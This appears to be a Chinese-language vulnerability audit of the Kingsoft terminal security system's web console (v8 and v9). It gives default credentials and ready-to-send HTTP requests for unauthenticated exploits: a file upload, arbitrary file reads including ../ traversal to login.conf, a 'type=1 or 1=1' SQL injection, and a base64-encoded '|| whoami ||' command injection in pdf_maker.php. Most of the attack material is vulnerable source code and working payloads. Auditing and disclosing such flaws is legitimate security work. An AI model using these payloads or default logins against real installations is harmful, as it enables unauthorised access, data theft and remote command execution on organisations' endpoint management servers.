app="猎鹰安全-金山终端安全系统"
v8版本:https://duba-011.duba.net/netversion/Package/KAVNETV8Plus.iso
v9版本:https://duba-011.duba.net/netversion/Package/SecManage.iso
上述iso下载后直接解压,得到相应的文件夹,找到其中的exe文件。v8版本中KANUSSetup.exe是升级服务器安装包,KANSCSetup.exe是安全系统中心安装包,安装完毕后你会发现也一同安装了金山毒霸杀毒软件,v9情况类似。
环境安装为一体安装包,直接双击点exe,设定完安装目录安装即可自动安装。源码在Console目录下的web根目录。代码没有进行加密,直接拷贝审计即可。授权到期后不影响程序访问和正常测试使用。
默认登陆密码admin/admin,登陆后强制修改(admin/admin123@),默认开启验证码。但v8+版本以下该机制不存在,且部分版本即使强制要求修改了密码,也可用旧密码登陆系统,因此存在【wooyun-2015-099884-金山 V8 终端安全系统默认弱口令漏洞】。
POST /inter/ajax.php?cmd=
get_user_login_cm{"get_user_login_cmd":{"name":"admin","password":"21232f297a57a5a743894a0e4a801fc3"}} HTTP/1.1
post一段json格式的代码到特定的路径,若返回包状态码为200并且有关键字段userSession即表示存在弱口令。在index.php页面中引入的inter/common/isFirst.php
页面isFirst
方法验证:
//index.php
if ($_SESSION["userName"]=="admin" and $mysqlStat == 1) {
//$isFirst = isFirst(); # true:admin没改过密码 flase:admin改过密码
if ($isFirst) {
$firstate="0";
} else {
$firstate="1";
}
}
//inter/common/isFirst.php::isFirst()
function isFirst(){
$data = array(
"match_pass" => array("pass" => "2d8cc94a8c8b5ca7400969c5b2e572c1", "name" => "admin")
);
$post = json_encode($data,JSON_UNESCAPED_UNICODE);
$re = curl_post_http("http://127.0.0.1:6869/route2lua", "match_pass=$post");
$re = json_decode($re, true);
if (intval($re["nResult"]) == 0) {
return true;
}
return false;
}
批量脚本测试可参考:https://mp.weixin.qq.com/s/XuJ-U2CHvpAwDB31vDAmKA
v8版本登录校验phpsessid,但是v9版本则是SKYLARa0aede9e785feabae789c6e03d
字段。
-
v9版本
- 【nginx】
nginx/conf/nginx_6868.conf
和linux_nginx_6868
location ~ (error|phpinfo|test)\.php$ { return 404; }
要求如果路由解析文件名有出现
error|phpinfo|test
,访问会返回404。因此上传不能含有这些文件。- 【php】
php/php.ini
- 【nginx】
php默认版本为5.6.32,默认没有设置disable_functions
和disable_classes
。
加密方式默认用了ioncube_loader_win_5.6.dll
版本,但安装完毕启动发现该配置不存在。
默认没有开启magic_quotes_gpc
,不会过滤单引号;初始化未设定open_basedir
;
远程文件处理:allow_url_fopen = On
和allow_url_include = Off
,因此部分php伪协议不能操作。
-
v8版本
- 【Apache】
\Security Manager\SystemCenter\Apache\conf
<FilesMatch "^\.ht"> Order allow,deny Deny from all </FilesMatch>
限制不能上传
.htaccess
- 【php】`php/php.ini
- 【Apache】
默认版本为5.4.43,其余配置同v9
漏洞名称 | 漏洞URI | 影响版本 |
---|---|---|
/tool/manage/upload.php 未授权文件上传 | /tool/manage/upload.php | v8、v9 |
/receive_file/get_file_content.php 未授权文件读取 | /receive_file/get_file_content.php?filepath=xxx | v8、v9 |
/htmltopdf/downfile.php 未授权文件下载 | /htmltopdf/downfile.php?filename=xxx | v8 |
/kd.php 文件下载 | /kd.php | v8 |
/inter/update_software_info.php 未授权SQL注入 | /inter/update_software_info.php?type=xxx | v8、v9 |
/inter/pdf_maker.php 命令注入 | /inter/pdf_maker.php | v8 |
/tool/manage/upload.php
页面没有进行引入鉴权文件,同时进行上传的漏洞参数就是``
$uploaddir = '..//..//UploadDir//';
if(file_exists('../../../server.conf') != false)
{
$settings = parse_ini_file('../../../server.conf', true);
$uploaddirex = $settings['UploadSet']['CltUploadUrl'];
if($uploaddirex)
{
$uploaddir = $uploaddirex;
}
}else
{
//写入配置文件
}
mkdir($uploaddir,0777, true);
$uploadfile = $uploaddir . basename($_FILES['file']['name']);
echo '<pre>';
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "Possible file upload attack!\n";
}
echo 'Here is some more debugging info:';
print_r($_FILES);
print "</pre>";
receive_file/get_file_content.php
没有引入鉴权文件也不再鉴权路由中,未授权即可访问。该页面存在fread文件读取/下载操作,但是对..
限制,同时开启open_basedir
。open_basedir
限制的目录在../
即Console
的web目录下,只能对web目录进行文件读取,读取位置也是从web根目录开始。filepath
读取大小限制在5054字节上,因此文件大小也做了限制,但一般文件都能读取。
<?php
//..检测
if(stripos($_POST['filepath'],"..") !== false) {
echo 'no file founggd';
exit();
}
ini_set("open_basedir", "../");
$file_path = '../'.iconv("utf-8","gb2312",$_POST['filepath']);
if(!file_exists($file_path)){
echo 'no file founggd';
exit();
}
$fp=fopen($file_path,"r");
$file_size=filesize($file_path);
$buffer=5024;
$file_count=0;
while(!feof($fp) && $file_count<$file_size){
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
}
fclose($fp);
?>
读取Web根目录的index.php文件进行尝试:
POST /receive_file/get_file_content.php HTTP/1.1
Host: x.x.x.x
Content-Length: 51
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7p
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SCNum=1; GUID=BB419A33-46DA-E7F9-EC4C-28A84310E5EE; SCIP=192.168.65.132; topSC=0; kidtype=1; hid=B29D21EF; sn=105000-011000-000000-000000; SKYLARa0aede9e785feabae789c6e03d=nq482l70id4vuiou5ojfpo1654
Connection: close
filepath=index.php
成功回显文件内容,失败回显‘no file founggd’或404或空页面(也有可能是文件为空)。
该页面中未检查filename和cookie鉴权直接就进行下载文件:
<?php
$filename= $_GET["filename"];
$filename=iconv("UTF-8","GBK//IGNORE", $filename);
header("Cache-Control: public");
header("Content-Description: File Transfer");
header('Content-disposition: attachment; filename='.$filename); //文件名
header("Content-Type: application/zip"); //zip格式的
header("Content-Transfer-Encoding: binary"); //告诉浏览器,这是二进制文件
header('Content-Length: '. filesize($filename)); //告诉浏览器,文件大小
@readfile($filename);
?>
filename传入需要下载的文件,成功回显文件内容:
http://xxx.xxx.xxx.xxx/htmltopdf/downfile.php?filename=index.php
开头引入kli.php,该文件是登陆类,用于登陆检查,为了调用line 10的checkLogin判断是否登录。
<?php
include 'kli.php';
header("Content-type:text/html;charset=utf-8");
// if($_POST["ak"] !== 'ks')
// {
// exit();
// }
if($login->checkLogin($_COOKIE['kusession'])=='0')
{
echo 'Please login first.';
exit();
}
判断kli.php的checkLogin
传入$_COOKIE['kusession']
(可控)是否return 0,跟进入该方法:
function checkLogin($session){
session_start();
return $_SESSION[$session] ? '1' : '0';//判断是否存在对应的$_SESSION[key],不存在return 0
}
可以看出这里要求必须登录才能让session_start获取得到服务器回传的Cookie。
再回到kd.php,文件名没有修改直接拼接的是fn参数,文件路径是从根目录开始$file_sub_path=$_SERVER['DOCUMENT_ROOT'];
,文件存在的话即可下载文件。这里没有限制目录穿越,因此可以通过../
读取其他目录的任意文件。
$file_name=$_POST['fn'];
//echo $file_name;
$file_name=iconv("utf-8","gb2312",$file_name);
$file_sub_path=$_SERVER['DOCUMENT_ROOT'];
$file_path=$file_sub_path.'/'.$file_name;
//echo $file_path;
if(!file_exists($file_path)){
//echo 'no file found';
exit();
}
$fp=fopen($file_path,"r");
$file_size=filesize($file_path);
//$fn = preg_replace("([a-z|A-Z|0-9]{1-30}\.[a-z|A-Z|0-9]{1-10})","\\1",$file_name);
$fn = basename($file_path);
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".$fn);
$buffer=5024;
$file_count=0;
while(!feof($fp) && $file_count<$file_size){
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
}
fclose($fp);
?>
这里读取web根目录下login.conf文件试,成功的话会回显文件内容。
POST /kd.php HTTP/1.1
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SKYLARa0aede9e785feabae789c6e03d=kl3kvpfr63vuc9a32c0ib8gpq5;kusession=time
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaDoXxAt1M40lPRKt
Content-Length: 146
------WebKitFormBoundaryaDoXxAt1M40lPRKt
Content-Disposition: form-data; name="fn"
../login.conf
------WebKitFormBoundaryaDoXxAt1M40lPRKt--
inter/update_software_info.php
中where条件语句的type参数如果检测到传参不为空,直接拼接到where条件语句中,然后顺势最终拼接到$sql语句中并执行。
<?php
//客户端显示数据
require_once "./use_db.php";
require_once "./common/functions.php";
$return=array();
$return["nResult"] =0;
$where='where 1=1';
if (!is_null($_POST['type']) and $_POST['type'] !="") {
$id=$_POST['type'];
$where .=" and type=$id ";
}
if (!is_null($_POST['key'])) {
$keyname=$_POST['key'];
$where .=" and keyname like '%".$keyname."%' ";
}
$sql="select sc_software_items.id ,version,packagesize,keyname,packagename,photoname,descri,type,param ,ty.type_name as type_name from sc_software_items left join type_software ty on ty.type_id = sc_software_items.type {$where} group by id";
$type='select * from type_software';
该漏洞疑似为https://www.cnvd.org.cn/flaw/show/CNVD-2021-01882,同样是未授权且v9版本可用。
带入执行后会对sql语句获取的数据若不为空,会回显到页面上,因此错误不显示数据,sql语句正确闭合则会显示数据,可以使用union select方式进行注入:
$return["software_list"][] = array(
'version'=>$version, //版本
'packagesize'=>$value['packagesize']==''?'':$value['packagesize'],//大小
'productname'=>$productname, //软件名称
'packagename'=>$packagename , //文件名称
'photo'=>'../softmanagement/download/'.($value['photoname']==''?'default.png':$value['photoname']), //图片路径
'descri'=>$value['descri']==''?'':$value['descri'], //文件描述
'auth'=>$value['auth']==''?'0':$value['auth'], //软件id
'param'=>$value['param']==''?'':$value['param'], //软件id
'type_name'=>$value['type_name'],
'md5' => substr($packagename,0,32),
'id' => hashs(substr($packagename,0,32).$productname.$version),
'updatetime'=>$n_val['update_time']==''?'':$n_val['update_time'], //更新时间
'soft_id'=>$n_val['soft_id']==''?'':$n_val['soft_id'], //软件id
);
}
}catch(Exception $e){
$return["err"]=$e->getMessage();
$return["nResult"] = 6;
}
echo json_encode($return);
复现显示如果成功的话software_list字段回显数据,失败该字段为空:
POST /inter/update_software_info.php HTTP/1.1
Host: x.x.x.x
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SCNum=1; GUID=BB419A33-46DA-E7F9-EC4C-28A84310E5EE; SCIP=192.168.65.132; topSC=0; kidtype=1; hid=B29D21EF; sn=105000-011000-000000-000000; SKYLARa0aede9e785feabae789c6e03d=nq482l70id4vuiou5ojfpo1654
Connection: close
type=1+or+1=1--+
inter/pdf_maker.php
页面url
和filename
参数需要base64编码后传入,传入后未进行完整的命令注入过滤。默认情况下进入if第一分支,原因见官方注释apache 2.4 php 7 版本只能bat中运行
,但默认运行版本为php 5.4.43.
<?php
require_once (dirname(__FILE__)."\\common\\HTTPrequest_SCpost.php");
......
$url = $_POST["url"];
$fileName = $_POST["fileName"];
$batName=$fileName;
if ($url == null || $fileName == null)
{
......
}
$url = base64_decode($url);
$nameStr = base64_decode($fileName).date("Y-m-d").".pdf";
$fileName="..\\htmltopdf\\".$nameStr;
system('mkdir ..\\htmltopdf');
$cmd = '..\\..\\wkhtmltopdf.exe "'.$url.'" '.$fileName;
if (getApacheVersion()>=24) { //apache 2.4 php 7 版本 只能在 bat中运行
$cmd =" del ".$fileName;
exec($cmd);
$url_= str_replace('%','%%', $url);
$cmd = '..\\..\\wkhtmltopdf.exe "'.$url_.'" '.$fileName;
$batName ="exec_wkhtmltopdf.bat";
$myfile = fopen($batName , "w");
//$cmd =iconv("UTF-8", "gbk", $cmd );
fwrite($myfile, $cmd);
fclose($myfile);
$cmd =$batName ;
exec($cmd);
$cmd =" del ".$batName;
exec($cmd);
}else
{
system($cmd);
}
该分支下会$url参数和$filename参数拼接到cmd中然后写入exec_wkhtmltopdf.bat
文件,最后执行该文件。但是由于拼接命令的原因,这里构造payload需要用到管道符。($filename也可以用于命令执行,因为也是拼接命令,所以要完成前一条命令的格式。)
if的第二分支没有任何过滤,危害更大,可以执行任意命令。(如果当php版本大于5的时候,默认进入该分支)。
执行whoami试试,cmd命令拼接完毕后是这样的:..\\..\\wkhtmltopdf.exe"" || whoami || xxxx
,对拼接进入的url参数命令base64编码即IiB8fCB3aG9hbWkgfHw=
:
POST /inter/pdf_maker.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 45
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=noei1ghcv9rqgp58jf79991n04
url=IiB8fCB3aG9hbWkgfHw%3D&fileName=xxx